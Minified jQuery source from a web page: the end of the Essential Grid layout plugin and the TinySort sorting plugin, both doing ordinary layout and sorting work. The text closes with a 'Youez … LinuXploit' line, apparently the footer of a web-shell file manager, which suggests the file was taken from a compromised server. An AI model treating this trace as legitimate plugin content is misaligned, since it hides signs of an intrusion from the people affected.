g=n.find(".esg-loadmore"),y=t.loadMoreTxt+" ("+checkMoreToLoad(n,t).length+")";if(t.loadMoreNr=="off"){y=t.loadMoreTxt}g.html(y);g.click(function(){if(g.data("loading")!=1){loadMoreItems(n,t)}})}else{if(t.loadMoreType=="scroll"){n.append('<div style="display:inline-block" class="esg-navigationbutton esg-loadmore">LOAD MORE</div>');var g=n.find(".esg-loadmore"),y=t.loadMoreTxt+" ("+checkMoreToLoad(n,t).length+")";if(t.loadMoreNr=="off"){y=t.loadMoreTxt}g.html(y);function b(e,n){var r=e.offset().top+e.height()-jQuery(document).scrollTop();if(jQuery(window).height()>r){if(n.data("loading")!=1){n.data("loading",1);loadMoreItems(e,t)}}}jQuery(document,window).scroll(function(){b(n,g)});b(n,g)}}checkAvailableFilters(n,t);tabBlurringCheck(n,t)}})},esappend:function(e){var t=jQuery(this);prepareItemsInGrid(opt,true);organiseGrid(opt);prepareSortingAndOrders(t);return opt.lastslide},esskill:function(){var e=jQuery(this);e.find("*").each(function(){jQuery(this).off("click, focus, focusin, hover, play, ended, stop, pause, essentialready");jQuery(this).remove()});e.remove();e.html();e=null},esreadsettings:function(e){e=e==undefined?new Object:e;var t=jQuery(this);var n=getOptions(t);return n},esredraw:function(e){e=e==undefined?new Object:e;var t=jQuery(this);var n=getOptions(t);if(e.space!=undefined){n.space=parseInt(e.space,0)}if(e.row!=undefined){n.row=parseInt(e.row,0)}if(e.rtl!=undefined){n.rtl=e.rtl}if(e.aspectratio!=undefined){n.aspectratio=e.aspectratio}if(e.forceFullWidth!=undefined){n.forceFullWidth=e.forceFullWidth;if(n.forceFullWidth=="on"){var r=t.parent().parent().find(".esg-relative-placeholder").offset().left;t.closest(".esg-container-fullscreen-forcer").css({left:0-r,width:jQuery(window).width()})}else{t.closest(".esg-container-fullscreen-forcer").css({left:0,width:"auto"})}}if(e.rowItemMultiplier!=undefined){n.rowItemMultiplier=e.rowItemMultiplier}if(e.responsiveEntries!=undefined){n.responsiveEntries=e.responsiveEntries}if(e.column!=undefined){if(e.column<=0||e.column>=20){var i=getBestFitColumn(n,jQuery(window).width(),"id");n.column=i.column;n.columnindex=i.index}else{n.column=parseInt(e.column,0)}n.origcolumn=n.column}if(e.animSpeed!=undefined){n.animSpeed=e.animSpeed/1000}if(e.delayBasic!=undefined){n.delayBasic=e.delayBasic/100}if(e.pageAnimation!=undefined){n.pageAnimation=e.pageAnimation}if(e.changedAnim!=undefined){n.changedAnim=e.changedAnim}n.started=true;if(e.silent==true){n.silent=true}setOptions(t,n);setItemsOnPages(n);organiseGrid(n)},esquickdraw:function(e){var t=jQuery(this);var n=getOptions(t);n.silent=true;setOptions(t,n);setItemsOnPages(n);organiseGrid(n)},esreinit:function(e){var t=jQuery(this);prepareItemsInGrid(opt,true);organiseGrid(opt);prepareSortingAndOrders(t);return opt.lastslide},somemethodb:function(e){return this.each(function(){var e=jQuery(this)})}});var vis=function(){var e,t,n={hidden:"visibilitychange",webkitHidden:"webkitvisibilitychange",mozHidden:"mozvisibilitychange",msHidden:"msvisibilitychange"};for(e in n){if(e in document){t=n[e];break}}return function(n){if(n){document.addEventListener(t,n)}return !document[e]}}();var tabBlurringCheck=function(){var e=document.documentMode===undefined,t=window.chrome;if(!jQuery("body").hasClass("esg-blurlistenerexists")){jQuery("body").addClass("esg-blurlistenerexists");if(e&&!t){jQuery(window).on("focusin",function(){setTimeout(function(){jQuery("body").find(".esg-grid.esg-container").each(function(){jQuery(this).esquickdraw()})},300)}).on("focusout",function(){})}else{if(window.addEventListener){window.addEventListener("focus",function(e){setTimeout(function(){jQuery("body").find(".esg-grid.esg-container").each(function(){jQuery(this).esquickdraw()})},300)},false)}else{window.attachEvent("focus",function(e){setTimeout(function(){jQuery("body").find(".esg-grid.esg-container").each(function(){jQuery(this).esquickdraw()})},300)})}}}};var is_mobile=function(){var e=["android","webos","iphone","ipad","blackberry","Android","webos",,"iPod","iPhone","iPad","Blackberry","BlackBerry"];var t=false;for(i in e){if(navigator.userAgent.split(e[i]).length>1){t=true}}return t};var waitForLoads=function(e,t){var n=e.closest(".esg-grid").parent().parent().find(".esg-loader");jQuery.each(e,function(e,r){r=jQuery(r);if(n.length>0){punchgs.TweenLite.to(n,0.2,{autoAlpha:1,delay:0.5})}if(!r.hasClass("loadedmedia")&&t.layout!="even"&&r.find("img").length>0){if(r.hasClass("itemtoshow")){r.removeClass("itemtoshow").addClass("showmeonload")}}if(!r.hasClass("loadedmedia")&&t.layout!="even"&&r.find("img").length==0){evenImageRatio(r.find("img"),t);waittorungGrid(r,t,true)}});var r=setInterval(function(){t.bannertimeronpause=true;t.cd=0;var i=0;e.find("img").each(function(e){var n=jQuery(this);if(n.data("lazydone")!=1&&t.lazyLoad=="on"&&n.parent().find(".lazyloadcover").length<1){n.parent().append('<div class="lazyloadcover" style="position:absolute;top:0px;left:0px;z-index:10;width:100%;height:100%;background:'+t.lazyLoadColor+'"></div>')}if(n.data("lazydone")!=1&&i<3){i++;loadAllPrepared(jQuery(this),t)}});if(i==0){if(n.length>0){punchgs.TweenLite.killTweensOf(n,false);punchgs.TweenLite.to(n,0.2,{autoAlpha:0})}}if(i==0&&!e.closest(".mainul").hasClass("gridorganising")){clearInterval(r);runGrid(t)}},50)}})(jQuery);(function(x,C){function k(a){return a&&a.toLowerCase?a.toLowerCase():a}function b(d,a){for(var f=0,c=d.length;f<c;f++){if(d[f]==a){return !q}}return q}var q=!1,D=null,j=parseFloat,B=Math.min,A=/(-?\d+\.?\d*)$/g,w=/(\d+\.?\d*)$/g,m=[],z=[],v=function(a){return typeof a=="string"},g=function(f,c){var h=f.length,d=h,a;while(d--){a=h-d-1;c(f[a],a)}},y=Array.prototype.indexOf||function(c){var a=this.length,d=Number(arguments[1])||0;d=d<0?Math.ceil(d):Math.floor(d);if(d<0){d+=a}for(;d<a;d++){if(d in this&&this[d]===c){return d}}return -1};x.tinysort={id:"TinySort",version:"1.5.6",copyright:"Copyright (c) 2008-2013 Ron Valstar",uri:"http://tinysort.sjeiti.com/",licensed:{MIT:"http://www.opensource.org/licenses/mit-license.php",GPL:"http://www.gnu.org/licenses/gpl.html"},plugin:function(){var a=function(d,c){m.push(d);z.push(c)};a.indexOf=y;return a}(),defaults:{order:"asc",attr:D,data:D,useVal:q,place:"start",returns:q,cases:q,forceStrings:q,ignoreDashes:q,sortFunction:D}};x.fn.extend({tinysort:function(){var s,H,J,o=this,K=[],r=[],t=[],c=[],p=0,a,h=[],F=[],I=function(E){g(m,function(L){L.call(L,E)})},n=function(L,E){if(typeof E=="string"){if(!L.cases){E=k(E)}E=E.replace(/^\s*(.*?)\s*$/i,"$1")}return E},G=function(P,W){var L=0;if(p!==0){p=0}while(L===0&&p<a){var E=c[p],X=E.oSettings,V=X.ignoreDashes?w:A;I(X);if(X.sortFunction){L=X.sortFunction(P,W)}else{if(X.order=="rand"){L=Math.random()<0.5?1:-1}else{var N=q,R=n(X,P.s[p]),U=n(X,W.s[p]);if(!X.forceStrings){var M=v(R)?R&&R.match(V):q,O=v(U)?U&&U.match(V):q;if(M&&O){var T=R.substr(0,R.length-M[0].length),S=U.substr(0,U.length-O[0].length);if(T==S){N=!q;R=j(M[0]);U=j(O[0])}}}L=E.iAsc*(R<U?-1:R>U?1:0)}}g(z,function(Y){L=Y.call(Y,N,R,U,L)});if(L===0){p++}}return L};for(s=0,J=arguments.length;s<J;s++){var f=arguments[s];if(v(f)){if(h.push(f)-1>F.length){F.length=h.length-1}}else{if(F.push(f)>h.length){h.length=F.length}}}if(h.length>F.length){F.length=h.length}a=h.length;if(a===0){a=h.length=1;F.push({})}for(s=0,J=a;s<J;s++){var l=h[s],Q=x.extend({},x.tinysort.defaults,F[s]),u=!(!l||l===""),d=u&&l[0]===":";c.push({sFind:l,oSettings:Q,bFind:u,bAttr:!(Q.attr===D||Q.attr===""),bData:Q.data!==D,bFilter:d,$Filter:d?o.filter(l):o,fnSort:Q.sortFunction,iAsc:Q.order=="asc"?1:-1})}o.each(function(M,E){var O=x(E),T=O.parent().get(0),L,S=[];for(H=0;H<a;H++){var R=c[H],P=R.bFind?R.bFilter?R.$Filter.filter(E):O.find(R.sFind):O;S.push(R.bData?P.data(R.oSettings.data):R.bAttr?P.attr(R.oSettings.attr):R.oSettings.useVal?P.val():P.text());if(L===C){L=P}}var N=y.call(t,T);if(N<0){N=t.push(T)-1;r[N]={s:[],n:[]}}if(L.length>0){r[N].s.push({s:S,e:O,n:M})}else{r[N].n.push({e:O,n:M})}});g(r,function(E){E.s.sort(G)});g(r,function(R){var V=R.s,L=R.n,W=V.length,E=L.length,U=W+E,P=[],N=U,T=[0,0];switch(Q.place){case"first":g(V,function(X){N=B(N,X.n)});break;case"org":g(V,function(X){P.push(X.n)});break;case"end":N=E;break;default:N=0}for(s=0;s<U;s++){var O=b(P,s)?!q:s>=N&&s<N+W,S=O?0:1,M=(O?V:L)[T[S]].e;M.parent().append(M);if(O||!Q.returns){K.push(M.get(0))}T[S]++}});o.length=0;Array.prototype.push.apply(o,K);return o}});x.fn.TinySort=x.fn.Tinysort=x.fn.tsort=x.fn.tinysort})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit